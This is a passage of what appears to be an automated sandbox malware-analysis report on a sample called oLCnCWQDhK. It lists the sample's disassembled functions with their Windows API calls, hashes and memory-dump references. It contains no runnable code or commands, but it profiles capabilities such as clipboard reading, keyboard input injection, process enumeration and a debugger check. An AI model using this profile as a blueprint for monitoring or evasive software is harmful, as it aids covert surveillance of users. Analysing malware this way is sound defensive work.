                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID:
                              • String ID: ERCP$VUUU$VUUU$VUUU$XjH
                              • API String ID: 0-2872873767
                              • Opcode ID: 34fecdbc504fccc055e136d4951117c2a740426f4eee1b738e863fbded63ce7f
                              • Instruction ID: d175e7d0ae6fb3d700f9da8fb6b70819649eb02c4ceaf458d011f7582104736e
                              • Opcode Fuzzy Hash: 34fecdbc504fccc055e136d4951117c2a740426f4eee1b738e863fbded63ce7f
                              • Instruction Fuzzy Hash: D772D871A042198BEF24CF58C8807AEB7F1EB42314F25829BD859A7380D7799DC5CF5A
                              Function 004404E8 Relevance: 10.8, APIs: 7, Instructions: 271windownativeCOMMON
                              Download Yara Rule
                              APIs
                              • GetSystemMetrics.USER32(0000000F), ref: 00440527
                              • MoveWindow.USER32(00000000,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00440763
                              • SendMessageW.USER32(?,00000142,00000000,0000FFFF), ref: 00440782
                              • InvalidateRect.USER32(?,00000000,00000001), ref: 004407A5
                              • SendMessageW.USER32(?,00000469,?,00000000), ref: 004407DA
                              • ShowWindow.USER32(?,00000000,?,00000469,?,00000000), ref: 004407FD
                              • NtdllDialogWndProc_W.USER32(?,00000005,?,?), ref: 00440817
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: MessageSendWindow$DialogInvalidateMetricsMoveNtdllProc_RectShowSystem
                              • String ID:
                              • API String ID: 2044739998-0
                              • Opcode ID: d4bac657e1d3c25226f3662cee365975ebc34d7204b8b764d69e27e9e2fa035e
                              • Instruction ID: 469fbb3f3db71b9324cb07d082b932f31bc4dcc79b85a5821822f518eef070f3
                              • Opcode Fuzzy Hash: d4bac657e1d3c25226f3662cee365975ebc34d7204b8b764d69e27e9e2fa035e
                              • Instruction Fuzzy Hash: 0BB19F71600619EFEB14CF68C984BAFBBF1FF48301F15851AEA5597280D738BA61CB54
                              Function 004755C4 Relevance: 10.6, APIs: 7, Instructions: 148processCOMMON
                              Download Yara Rule
                              APIs
                              • CreateToolhelp32Snapshot.KERNEL32 ref: 00475608
                              • Process32FirstW.KERNEL32(00000000,0000022C), ref: 00475618
                              • __wsplitpath.LIBCMT ref: 00475644
                                • Part of subcall function 00413A0E: __wsplitpath_helper.LIBCMT ref: 00413A50
                              • _wcscat.LIBCMT ref: 00475657
                              • __wcsicoll.LIBCMT ref: 0047567B
                              • Process32NextW.KERNEL32(00000000,?), ref: 004756AB
                              • CloseHandle.KERNEL32(00000000), ref: 004756BA
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                              • String ID:
                              • API String ID: 2547909840-0
                              • Opcode ID: 9e44ac92eedd99fdf3f2932738b6949334d3f24a3592eb41664da5fdf167909f
                              • Instruction ID: 52239f647ae7113ca4c6e3167181772f82882466072c53a1302db900a9aecbbd
                              • Opcode Fuzzy Hash: 9e44ac92eedd99fdf3f2932738b6949334d3f24a3592eb41664da5fdf167909f
                              • Instruction Fuzzy Hash: B3518671900618ABDB10DF55CD85FDE77B8EF44704F1084AAF509AB282DA75AF84CF68
                              Function 00452492 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 128filesleepCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                              • FindFirstFileW.KERNEL32(?,?), ref: 004524DF
                              • Sleep.KERNEL32(0000000A), ref: 0045250B
                              • FindNextFileW.KERNEL32(?,?), ref: 004525E9
                              • FindClose.KERNEL32(?), ref: 004525FF
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Find$File$CloseFirstNextSleep_memmove_wcslen
                              • String ID: *.*$\VH
                              • API String ID: 2786137511-2657498754
                              • Opcode ID: 952b61541a12346a9a2631e93aef0720ba9757898c7ad2f9180af277910d7a38
                              • Instruction ID: de376bcde865418ddd8e10142a6165d1fec8b8ecf5afc9fd422e88b207ce0255
                              • Opcode Fuzzy Hash: 952b61541a12346a9a2631e93aef0720ba9757898c7ad2f9180af277910d7a38
                              • Instruction Fuzzy Hash: 37417F7190021DABDB14DF64CD58AEE77B4AF49305F14445BEC09A3281E678EE49CB98
                              Function 0041A208 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMONLIBRARYCODE
                              Download Yara Rule
                              APIs
                              • IsDebuggerPresent.KERNEL32 ref: 00421FC1
                              • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00421FD6
                              • UnhandledExceptionFilter.KERNEL32(pqI), ref: 00421FE1
                              • GetCurrentProcess.KERNEL32(C0000409), ref: 00421FFD
                              • TerminateProcess.KERNEL32(00000000), ref: 00422004
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
                              • String ID: pqI
                              • API String ID: 2579439406-2459173057
                              • Opcode ID: 25dc777f16e4295b66819c01749bb17431433dcbcd396824bac5e12fb106518c
                              • Instruction ID: 2caf929301e55fbdfba35cdc3931bb3174c20cf3198a7c5bb5494214f042e870
                              • Opcode Fuzzy Hash: 25dc777f16e4295b66819c01749bb17431433dcbcd396824bac5e12fb106518c
                              • Instruction Fuzzy Hash: 9E21CDB45392059FCB50DF65FE456483BA4BB68304F5005BBF90987371E7B969818F0D
                              Function 0043333C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40COMMON
                              Download Yara Rule
                              APIs
                              • __wcsicoll.LIBCMT ref: 00433349
                              • mouse_event.USER32(00000800,00000000,00000000,00000078,00000000), ref: 0043335F
                              • __wcsicoll.LIBCMT ref: 00433375
                              • mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 0043338B
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: __wcsicollmouse_event
                              • String ID: DOWN
                              • API String ID: 1033544147-711622031
                              • Opcode ID: 3af7a305a716ba131119f47d61043d9bc75f7fbd5de0530911e4e2de0579c383
                              • Instruction ID: c5effa3e7e2998e6ee15a8e10ce6e2e5d36a5fc043d4170c53cc9f091e4fe068
                              • Opcode Fuzzy Hash: 3af7a305a716ba131119f47d61043d9bc75f7fbd5de0530911e4e2de0579c383
                              • Instruction Fuzzy Hash: 78F0A0726846103AF80026947C02EFB334C9B26767F004023FE0CD1280EA59290557BD
                              Function 0044C37A Relevance: 7.6, APIs: 5, Instructions: 145windowkeyboardCOMMON
                              Download Yara Rule
                              APIs
                              • GetKeyboardState.USER32(?), ref: 0044C3D2
                              • SetKeyboardState.USER32(00000080), ref: 0044C3F6
                              • PostMessageW.USER32(00000000,00000101,?,?), ref: 0044C43A
                              • PostMessageW.USER32(00000000,00000105,?,?), ref: 0044C472
                              • SendInput.USER32(00000001,?,0000001C), ref: 0044C4FF
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: KeyboardMessagePostState$InputSend
                              • String ID:
                              • API String ID: 3031425849-0
                              • Opcode ID: 0ab52cc7f1a00f618f34bf6b1006ae93bda3478e58ada741bb1ac89fd44d8d1c
                              • Instruction ID: ca9f4cb769efad0e1be190fe8763212e5a79bd7c4ee8908ff6f5a5d8a4a0dc9b
                              • Opcode Fuzzy Hash: 0ab52cc7f1a00f618f34bf6b1006ae93bda3478e58ada741bb1ac89fd44d8d1c
                              • Instruction Fuzzy Hash: 4D415D755001082AEB109FA9DCD5BFFBB68AF96320F04815BFD8456283C378D9518BF8
                              Function 00476619 Relevance: 7.6, APIs: 5, Instructions: 140networkCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 00465225: inet_addr.WSOCK32(?), ref: 00465249
                              • socket.WSOCK32(00000002,00000002,00000011,?,00000000), ref: 0047666F
                              • WSAGetLastError.WSOCK32(00000000), ref: 00476692
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: ErrorLastinet_addrsocket
                              • String ID:
                              • API String ID: 4170576061-0
                              • Opcode ID: beba4ad3326242fe02a37a331f69581919bdb462f679bf8c0e3d41d719e28549
                              • Instruction ID: b6cffcacb6afaf0b8cd9bee7f3c7ce362d61c656181a10c6507bcc72ef542d5a
                              • Opcode Fuzzy Hash: beba4ad3326242fe02a37a331f69581919bdb462f679bf8c0e3d41d719e28549
                              • Instruction Fuzzy Hash: 604129326002005BD710EF39DC86F5A73D59F44728F15866FF944AB3C2DABAEC418799
                              Function 004478AC Relevance: 7.6, APIs: 5, Instructions: 96windownativeCOMMON
                              Download Yara Rule
                              APIs
                              • GetCursorPos.USER32(?), ref: 004478E2
                              • TrackPopupMenuEx.USER32(00000000,00000000,?,?,?,00000000), ref: 004478FC
                              • NtdllDialogWndProc_W.USER32(?,0000007B,?,?), ref: 0044791D
                              • GetCursorPos.USER32(00000000), ref: 0044796A
                              • TrackPopupMenuEx.USER32(009C6400,00000000,00000000,?,?,00000000), ref: 00447991
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CursorMenuPopupTrack$DialogNtdllProc_
                              • String ID:
                              • API String ID: 192203443-0
                              • Opcode ID: 3a0c1b1e924032964aae082f89503a6e76aba0c647238f1368234d9f75c94910
                              • Instruction ID: 8079d3ea29232e2d8a780d7c6517a0c600664366e77620ab1eef72d1e193e80f
                              • Opcode Fuzzy Hash: 3a0c1b1e924032964aae082f89503a6e76aba0c647238f1368234d9f75c94910
                              • Instruction Fuzzy Hash: EF31CF75600108AFE724CF59DC88FABB768EB89310F20455AF94587391C775AC53CBA8
                              Function 004479A0 Relevance: 7.6, APIs: 5, Instructions: 96nativeCOMMON
                              Download Yara Rule
                              APIs
                              • GetClientRect.USER32(?,?), ref: 004479CC
                              • GetCursorPos.USER32(?), ref: 004479D7
                              • ScreenToClient.USER32(?,?), ref: 004479F3
                              • WindowFromPoint.USER32(?,?), ref: 00447A34
                              • NtdllDialogWndProc_W.USER32(?,00000020,?,?), ref: 00447AAD
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Client$CursorDialogFromNtdllPointProc_RectScreenWindow
                              • String ID:
                              • API String ID: 4176674648-0
                              • Opcode ID: 0f9a8e9b3e4e036e66763aee309a2391e7a5810cceb8633c4940fa55a949c157
                              • Instruction ID: a7e7621e8492875af53c289f1ad187460d50aec5ad556b3834d9a5cb4abdf121
                              • Opcode Fuzzy Hash: 0f9a8e9b3e4e036e66763aee309a2391e7a5810cceb8633c4940fa55a949c157
                              • Instruction Fuzzy Hash: B831A2741082029FE710DF69D884D7FB7A4FB89314F144A1EF850D7291D774E946CBA6
                              Function 0047A330 Relevance: 7.6, APIs: 5, Instructions: 71windowCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 0046F3C1: IsWindow.USER32(00000000), ref: 0046F3F1
                              • IsWindowVisible.USER32 ref: 0047A368
                              • IsWindowEnabled.USER32 ref: 0047A378
                              • GetForegroundWindow.USER32(?,?,?,00000001), ref: 0047A385
                              • IsIconic.USER32 ref: 0047A393
                              • IsZoomed.USER32 ref: 0047A3A1
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Window$EnabledForegroundIconicVisibleZoomed
                              • String ID:
                              • API String ID: 292994002-0
                              • Opcode ID: 0a48a302b729025e65be405b7f5f19fe679dbad6397f14c7d9a4bdd7ec3e43df
                              • Instruction ID: 143e3079ffab126fd184b85051f6534cdea6adf6d01d93e69c1b4810180b6228
                              • Opcode Fuzzy Hash: 0a48a302b729025e65be405b7f5f19fe679dbad6397f14c7d9a4bdd7ec3e43df
                              • Instruction Fuzzy Hash: 8F11A2322001119BE3219F2ADC05B9FB798AF80715F15842FF849E7250DBB8E85187A9
                              Function 0047839D Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 228comCOMMON
                              Download Yara Rule
                              APIs
                                • Part of subcall function 004426CD: _wcslen.LIBCMT ref: 004426F9
                              • CoInitialize.OLE32(00000000), ref: 00478442
                              • CoCreateInstance.OLE32(00482A08,00000000,00000001,004828A8,?), ref: 0047845B
                              • CoUninitialize.OLE32 ref: 0047863C
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: CreateInitializeInstanceUninitialize_wcslen
                              • String ID: .lnk
                              • API String ID: 886957087-24824748
                              • Opcode ID: a78490bbd6710ed4fb80770143ba5b6b6d69e34379d2ac1719b679a46047f49b
                              • Instruction ID: cf4755465b87a828534c2837f83e1451e93ee4f6fe559e45c0b7480b45348b92
                              • Opcode Fuzzy Hash: a78490bbd6710ed4fb80770143ba5b6b6d69e34379d2ac1719b679a46047f49b
                              • Instruction Fuzzy Hash: 17816D70344301AFD210EB54CC82F5AB3E5AFC8B18F10896EF658DB2D1DAB5E945CB96
                              Function 0045039B Relevance: 6.1, APIs: 4, Instructions: 102nativeCOMMON
                              Download Yara Rule
                              APIs
                              • GetParent.USER32(?), ref: 004503C8
                              • NtdllDialogWndProc_W.USER32(?,00000138,?,?), ref: 00450417
                              • NtdllDialogWndProc_W.USER32(?,00000133,?,?), ref: 00450466
                              • NtdllDialogWndProc_W.USER32(?,00000134,?,?), ref: 00450497
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: DialogNtdllProc_$Parent
                              • String ID:
                              • API String ID: 3146699748-0
                              • Opcode ID: 953005dfd523491bc8661b2d189c1fe3a1d27544861a9947cd3b684206b02ae0
                              • Instruction ID: 48835c6935d03606f494e5d0f95072c3389227be5880c4b08380f2331de9f088
                              • Opcode Fuzzy Hash: 953005dfd523491bc8661b2d189c1fe3a1d27544861a9947cd3b684206b02ae0
                              • Instruction Fuzzy Hash: F231B73A2001046BD720CF18DC94DAB7719EF97335B14461BFA298B3D3CB759856C769
                              Function 0046DC80 Relevance: 6.1, APIs: 4, Instructions: 70clipboardCOMMON
                              Download Yara Rule
                              APIs
                              • OpenClipboard.USER32(?), ref: 0046DCE7
                              • IsClipboardFormatAvailable.USER32(0000000D), ref: 0046DCF5
                              • GetClipboardData.USER32(0000000D), ref: 0046DD01
                              • CloseClipboard.USER32 ref: 0046DD0D
                              • GlobalLock.KERNEL32(00000000), ref: 0046DD37
                              • CloseClipboard.USER32 ref: 0046DD41
                              • IsClipboardFormatAvailable.USER32(00000001), ref: 0046DD81
                              • GetClipboardData.USER32(00000001), ref: 0046DD8D
                              • CloseClipboard.USER32 ref: 0046DD99
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: Clipboard$Close$AvailableDataFormat$GlobalLockOpen
                              • String ID:
                              • API String ID: 15083398-0
                              • Opcode ID: 15add7cba21d4e7b0994eb4f29ae7fc89ecef22f443925247f1b4e4ac981ab14
                              • Instruction ID: df02eb04a95629b292fb88db9571ebb8a4b5ed240788a0c572d8156b6d3d2bc0
                              • Opcode Fuzzy Hash: 15add7cba21d4e7b0994eb4f29ae7fc89ecef22f443925247f1b4e4ac981ab14
                              • Instruction Fuzzy Hash: 1A0128326042416BC311BBB99C8596E7B64EF4A324F04097FF984A72C1EB74A912C3A9
                              Function 0044F430 Relevance: 5.7, APIs: 1, Strings: 2, Instructions: 458COMMON
                              Download Yara Rule
                              APIs
                              Strings
                              Memory Dump Source
                              • Source File: 00000000.00000002.1263894042.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                              • Associated: 00000000.00000002.1263875071.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1263984804.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264015859.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264037328.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264065858.00000000004A8000.00000004.00000001.01000000.00000003.sdmpDownload File
                              • Associated: 00000000.00000002.1264386288.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                              Joe Sandbox IDA Plugin
                              • Snapshot File: hcaresult_0_2_400000_oLCnCWQDhK.jbxd
                              Similarity
                              • API ID: _memmove
                              • String ID: U$\
                              • API String ID: 4104443479-100911408
